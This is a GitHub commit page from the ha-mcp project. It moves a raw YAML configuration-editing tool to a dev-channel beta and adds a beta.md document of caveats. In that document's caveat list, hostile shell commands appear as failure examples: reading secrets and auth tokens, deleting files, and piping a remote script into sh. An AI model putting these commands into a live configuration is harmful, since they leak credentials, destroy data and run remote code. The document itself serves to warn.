Skip to content

Commit 0effea8

Browse files
kingpanther13claude
andcommitted
refactor(addon): move ha_config_set_yaml to dev channel only (breaking — stable toggle removed, set ENABLE_YAML_CONFIG_EDITING or use dev add-on)
Implements @julienld's proposal from the PR thread: move ha_config_set_yaml out of the stable add-on UI entirely and gate it as a dev-channel-only beta feature. Motivation is in discussion #936 and the comment cataloguing blast radius earlier in this PR. Stable add-on users who previously had enable_yaml_config_editing enabled will lose access to the tool on their next add-on update. Migration paths: - Install the Home Assistant MCP Server (Dev) add-on and flip the toggle there (see docs/dev-channel.md for install instructions) - For non-addon installs (pip/uv/uvx/Docker direct): set ENABLE_YAML_CONFIG_EDITING=true in the environment - Full caveats and setup: docs/beta.md Changes: **Stable add-on UI (homeassistant-addon/):** - Remove enable_yaml_config_editing from config.yaml options: and schema: - Remove the corresponding entry from translations/en.yaml - Add an explanatory marker comment in config.yaml so a future maintainer syncing from homeassistant-addon-dev/ notices the intentional divergence **Dev add-on UI (homeassistant-addon-dev/):** unchanged — the toggle stays visible for dev-channel users who explicitly opt in. **Beta tag mechanism (scripts/extract_tools.py):** - Tool rendering in generate_docs_section and generate_readme_table picks up an optional "beta" tag and appends a "(beta — dev channel only)" / "(beta)" marker inline - When at least one beta tool exists, an explanatory note is added above the tool list pointing to docs/beta.md - Reusable: future beta tools just tag themselves and get the same treatment **Tool flag (src/ha_mcp/tools/tools_yaml_config.py):** - Add "beta" to the tags set; no docstring/runtime changes - Runtime gating via ENABLE_YAML_CONFIG_EDITING env var is unchanged, so non-add-on installs (pip/uv/Docker direct) can still opt in by setting the variable themselves **docs/beta.md (new):** - Documents what "beta" means in this repo, current beta tools, the two enable paths (dev channel add-on, env var), known caveats for ha_config_set_yaml (distilled from the failure-modes audit in this PR's comments), and the graduation criteria for moving a tool from beta to stable Regenerated homeassistant-addon/DOCS.md, README.md, and site/src/data/tools.json via scripts/extract_tools.py. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
1 parent 42999ee commit 0effea8

8 files changed

Lines changed: 107 additions & 16 deletions

File tree

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -174,7 +174,7 @@ Spend less time configuring, more time enjoying your smart home.
174174
| **Scripts** | `ha_config_get_script`, `ha_config_remove_script`, `ha_config_set_script` |
175175
| **Search & Discovery** | `ha_deep_search`, `ha_get_overview`, `ha_get_state`, `ha_search_entities` |
176176
| **Service & Device Control** | `ha_bulk_control`, `ha_call_service`, `ha_get_operation_status`, `ha_list_services` |
177-
| **System** | `ha_backup_create`, `ha_backup_restore`, `ha_check_config`, `ha_config_set_yaml`, `ha_get_system_health`, `ha_get_updates`, `ha_reload_core`, `ha_restart` |
177+
| **System** | `ha_backup_create`, `ha_backup_restore`, `ha_check_config`, `ha_config_set_yaml` *(beta)*, `ha_get_system_health`, `ha_get_updates`, `ha_reload_core`, `ha_restart` |
178178
| **Todo Lists** | `ha_get_todo`, `ha_remove_todo_item`, `ha_set_todo_item` |
179179
| **Utilities** | `ha_eval_template`, `ha_install_mcp_tools`, `ha_report_issue` |
180180
| **Zones** | `ha_get_zone`, `ha_remove_zone`, `ha_set_zone` |

docs/beta.md

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
# Beta Features
2+
3+
Some ha-mcp tools are gated behind feature flags and ship only with the **dev channel** of the add-on (or via environment variables for non-add-on installs). These tools are considered **beta**: their behavior, scope, or safety profile is still being evaluated, and they may change, stay beta indefinitely, be promoted to stable, or be removed entirely based on field experience.
4+
5+
Beta tools are **not available** in the stable "Home Assistant MCP Server" add-on. If you enable the dev channel add-on and flip the corresponding toggle, you accept the risks documented below for each tool.
6+
7+
## Current beta tools
8+
9+
| Tool | Toggle / env var | Rationale |
10+
|---|---|---|
11+
| `ha_config_set_yaml` | `enable_yaml_config_editing` (dev add-on toggle) / `ENABLE_YAML_CONFIG_EDITING=true` (env var) | Raw YAML editing of `configuration.yaml` and packages/*.yaml. Can cause silent schema failures, execute shell commands via the `command_line:` domain, or put Home Assistant into recovery mode. See caveats below. |
12+
13+
## How to enable
14+
15+
### Option 1: Dev channel add-on (Home Assistant users)
16+
17+
The dev channel add-on is a separate entry in the HA add-on store with slug `ha_mcp_dev` and name "Home Assistant MCP Server (Dev)". It tracks master on every push, so it always has the latest tools and beta toggles.
18+
19+
1. Install the **Home Assistant MCP Server (Dev)** add-on from the ha-mcp repository. See [docs/dev-channel.md](dev-channel.md) for installation details.
20+
2. Open the add-on's **Configuration** tab.
21+
3. Flip the beta toggle for the tool you want (for example, `enable_yaml_config_editing`).
22+
4. Restart the add-on.
23+
24+
The stable add-on does not expose these toggles at all. If you want a beta tool, you must be on the dev channel.
25+
26+
### Option 2: Environment variable (non-add-on installs)
27+
28+
If you run ha-mcp outside the HA add-on (pip / uv / uvx / Docker direct / self-hosted), beta tools are gated by environment variables. Set the variable before starting the server:
29+
30+
```bash
31+
# Example: enable ha_config_set_yaml
32+
export ENABLE_YAML_CONFIG_EDITING=true
33+
uvx ha-mcp
34+
```
35+
36+
The tool registers only when its gating variable is set to `true`. Any other value (unset, `false`, `0`, empty) leaves it disabled.
37+
38+
## Caveats
39+
40+
### `ha_config_set_yaml`
41+
42+
Raw YAML editing bypasses Home Assistant's config-entry flow and operates directly on `configuration.yaml` and package files. Known ways an LLM using this tool can break a live HA instance, all verified against HA 2026.4.1 and all passing `ha_check_config` and `ha_restart` without error:
43+
44+
**Silent schema failures.** `ha_check_config` has blind spots on integration-level schema errors. The following mistakes write to disk successfully, HA boots clean, and the target entity silently does not exist — the only trace is a line in `home-assistant.log` that the user never sees:
45+
46+
- Legacy `- platform: template` + `sensors:` dict inside the modern `template:` block (common LLM confusion between template sensor styles)
47+
- Modern `template:` entry using `value_template:` instead of `state:`
48+
- Unclosed Jinja (`state: "{{ ... float * 9/5 + 32 "` — missing `}}`)
49+
- Missing `sensor:` wrapper inside `template:`
50+
- Bad Jinja filter names (`| tofloat(0)` instead of `| float(0)`)
51+
- Hallucinated trigger platforms (`platform: sensor_changed`)
52+
53+
**`action: remove` nukes the entire top-level key.** Asking the LLM to "remove the Coin Flip sensor" can produce `ha_config_set_yaml(yaml_path="template", action="remove")`, which deletes every template sensor under `template:`, not just the one the user meant.
54+
55+
**`command_line:` executes shell commands as the HA container user.** The whitelist allows `command_line:` sensors because many legitimate use cases depend on it (disk usage, uptime, etc.), but the same mechanism accepts any `command:` string. A well-intentioned LLM can produce:
56+
57+
- `command: "cat /config/secrets.yaml"` → sensor state is the contents of `secrets.yaml`, readable via any authenticated HA API call
58+
- `command: "rm -rf /config/home-assistant.log.*"` → deletes backups
59+
- `command: "cat /config/.storage/auth"` → leaks refresh tokens
60+
- `command: "curl http://example.com/x.sh | sh"` → runs arbitrary remote code
61+
62+
**Silent override of built-in services.** An LLM writing a plausible-looking legacy `notify:` entry can silently replace `notify.persistent_notification` (used by every "notify me when X" automation by default) with a misconfigured SMTP delivery that fails at DNS resolution, breaking notifications system-wide with no visible error.
63+
64+
**Recovery mode.** `!include` / `!secret` referencing a nonexistent target writes bad YAML to disk. `ha_restart` blocks, but any non-HA-MCP restart path (supervisor restart, HA UI "Restart" button, host reboot) puts HA into **recovery mode**: frontend serves HTTP 200 but no automations, integrations, or custom components are loaded. The `ha_mcp_tools` custom component fails to load in recovery mode, so `ha_config_set_yaml` cannot be used to fix its own damage — the user has to SSH, use the File Editor add-on, or `docker exec` in to hand-restore the backup.
65+
66+
**Per-edit backups are not restorable by any ha-mcp tool.** `backup=True` writes `www/yaml_backups/<file>.<timestamp>.bak` on every destructive call, but no ha-mcp tool can read, list, or restore those files. `ha_backup_create` / `ha_backup_restore` operate on HA's full-system snapshots, not per-edit YAML backups. Once HA is in recovery mode, recovery is filesystem-level only.
67+
68+
If, after reading the above, you still want this tool enabled, the operator-level expectation is:
69+
70+
- You are comfortable editing `configuration.yaml` directly via SSH or the File Editor add-on when things break.
71+
- You run `ha_check_config` after every LLM-initiated edit and verify the target entity actually exists before assuming success.
72+
- You understand that an LLM using this tool can cause damage no other ha-mcp tool can cause, and that the dedicated config-flow tools (`ha_set_config_entry_helper`, `ha_config_set_automation`, `ha_config_set_script`, `ha_config_set_dashboard`, etc.) should be preferred for anything they can express.
73+
74+
## Rationale
75+
76+
The decision to move `ha_config_set_yaml` to beta status came out of [PR #942](https://github.com/homeassistant-ai/ha-mcp/pull/942) and [discussion #936](https://github.com/homeassistant-ai/ha-mcp/discussions/936). The short version: the tool's blast radius is unique among ha-mcp tools, LLMs empirically reach for it when a dedicated tool would be correct, and gating it behind the dev channel lets stable add-on users opt out entirely while keeping the tool available to operators who explicitly want it.
77+
78+
## Graduating a beta tool
79+
80+
A beta tool can move to stable when:
81+
82+
1. It has been exercised by dev-channel users for at least two biweekly release cycles without new failure modes being reported.
83+
2. Its safety profile is documented and its caveats can be mitigated by documentation or defensive tool design.
84+
3. A maintainer decides the stable audience is ready for it.
85+
86+
Graduation is a conscious decision, not an automatic one. Some beta tools may stay beta indefinitely or be removed entirely if field experience shows they cannot be made safe for general stable use.

homeassistant-addon/DOCS.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -331,6 +331,8 @@ If the add-on is slow or unresponsive:
331331

332332
The add-on provides 86+ MCP tools for controlling Home Assistant:
333333

334+
> Tools marked **(beta — dev channel only)** are gated behind feature flags and ship with the dev channel add-on only. See [docs/beta.md](https://github.com/homeassistant-ai/ha-mcp/blob/master/docs/beta.md) for setup and caveats.
335+
334336
### Add-ons
335337
- `ha_call_addon_api` — Call an add-on's HTTP or WebSocket API.
336338
- `ha_get_addon` — Get Home Assistant add-ons - list installed, available, or get details for one.
@@ -442,7 +444,7 @@ The add-on provides 86+ MCP tools for controlling Home Assistant:
442444
- `ha_backup_create` — Create a fast Home Assistant backup (local only).
443445
- `ha_backup_restore` — Restore Home Assistant from a backup (LAST RESORT - use with extreme caution).
444446
- `ha_check_config` — Check Home Assistant configuration for errors.
445-
- `ha_config_set_yaml` — Update raw YAML configuration in configuration.yaml or packages/*.yaml (LAST RESORT).
447+
- `ha_config_set_yaml` **(beta — dev channel only)** — Update raw YAML configuration in configuration.yaml or packages/*.yaml (LAST RESORT).
446448
- `ha_get_system_health` — Get Home Assistant system health, including Zigbee (ZHA) and Z-Wave JS network diagnostics.
447449
- `ha_get_updates` — Get update information -- list all updates or get details for a specific one.
448450
- `ha_reload_core` — Reload Home Assistant configuration without full restart.

homeassistant-addon/config.yaml

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,19 +21,20 @@ host_network: true
2121
# Use pre-built Docker images
2222
image: "ghcr.io/homeassistant-ai/ha-mcp-addon-{arch}"
2323
# Options for user configuration
24+
# NOTE: enable_yaml_config_editing is intentionally NOT exposed here.
25+
# It is a dev-channel-only beta feature — see docs/beta.md. Do not re-mirror
26+
# from homeassistant-addon-dev/config.yaml without reading that doc first.
2427
options:
2528
backup_hint: "normal"
2629
enable_skills: true
2730
enable_skills_as_tools: false
2831
enable_tool_search: false
29-
enable_yaml_config_editing: false
3032
schema:
3133
backup_hint: list(strong|normal|weak|auto)
3234
secret_path: str?
3335
enable_skills: bool?
3436
enable_skills_as_tools: bool?
3537
enable_tool_search: bool?
36-
enable_yaml_config_editing: bool?
3738
# Add-on exposes HTTP port for MCP communication (fixed internal port)
3839
ports:
3940
9583/tcp: 9583

homeassistant-addon/translations/en.yaml

Lines changed: 0 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -26,12 +26,3 @@ configuration:
2626
deferred tools or with smaller context windows. Tools are found via
2727
ha_search_tools and executed via categorized proxies (read/write/delete).
2828
Requires restart to take effect.
29-
enable_yaml_config_editing:
30-
name: Enable YAML config editing
31-
description: >-
32-
Allow AI assistants to add, replace, or remove top-level keys in
33-
configuration.yaml and packages/*.yaml. Only whitelisted keys are
34-
allowed (e.g., template, sensor, command_line, mqtt). Core keys
35-
like homeassistant, http, and recorder are blocked. A backup is
36-
created before every edit. Use for YAML-only features that have no
37-
UI or API alternative. Requires restart to take effect.

scripts/extract_tools.py

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -186,11 +186,18 @@ def generate_docs_section(tools: list[dict]) -> str:
186186
f"The add-on provides {len(tools)}+ MCP tools for controlling Home Assistant:",
187187
"",
188188
]
189+
if any("beta" in t["tags"] for t in tools):
190+
lines.extend([
191+
"> Tools marked **(beta — dev channel only)** are gated behind feature flags and ship with the dev channel add-on only. See [docs/beta.md](https://github.com/homeassistant-ai/ha-mcp/blob/master/docs/beta.md) for setup and caveats.",
192+
"",
193+
])
189194
for cat in sorted(categories):
190195
lines.append(f"### {cat}")
191196
for tool in sorted(categories[cat], key=lambda t: t["name"]):
192197
desc = tool["description"].split("\n")[0].strip() if tool["description"] else ""
193198
entry = f"- `{tool['name']}`"
199+
if "beta" in tool["tags"]:
200+
entry += " **(beta — dev channel only)**"
194201
if desc:
195202
entry += f" — {desc}"
196203
lines.append(entry)
@@ -236,7 +243,10 @@ def generate_readme_table(tools: list[dict]) -> str:
236243
categories: dict[str, list[str]] = {}
237244
for tool in tools:
238245
cat = tool["tags"][0] if tool["tags"] else "Other"
239-
categories.setdefault(cat, []).append(f"`{tool['name']}`")
246+
name = f"`{tool['name']}`"
247+
if "beta" in tool["tags"]:
248+
name += " *(beta)*"
249+
categories.setdefault(cat, []).append(name)
240250

241251
lines = [
242252
README_START_MARKER,

site/src/data/tools.json

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2465,7 +2465,8 @@
24652465
"idempotentHint": false
24662466
},
24672467
"tags": [
2468-
"System"
2468+
"System",
2469+
"beta"
24692470
],
24702471
"source_file": "tools_yaml_config.py"
24712472
},

src/ha_mcp/tools/tools_yaml_config.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ def register_yaml_config_tools(mcp: Any, client: Any, **kwargs: Any) -> None:
4444
logger.info("YAML config editing tools enabled")
4545

4646
@mcp.tool(
47-
tags={"System"},
47+
tags={"System", "beta"},
4848
annotations={
4949
"destructiveHint": True,
5050
"idempotentHint": False,

0 commit comments

Comments
 (0)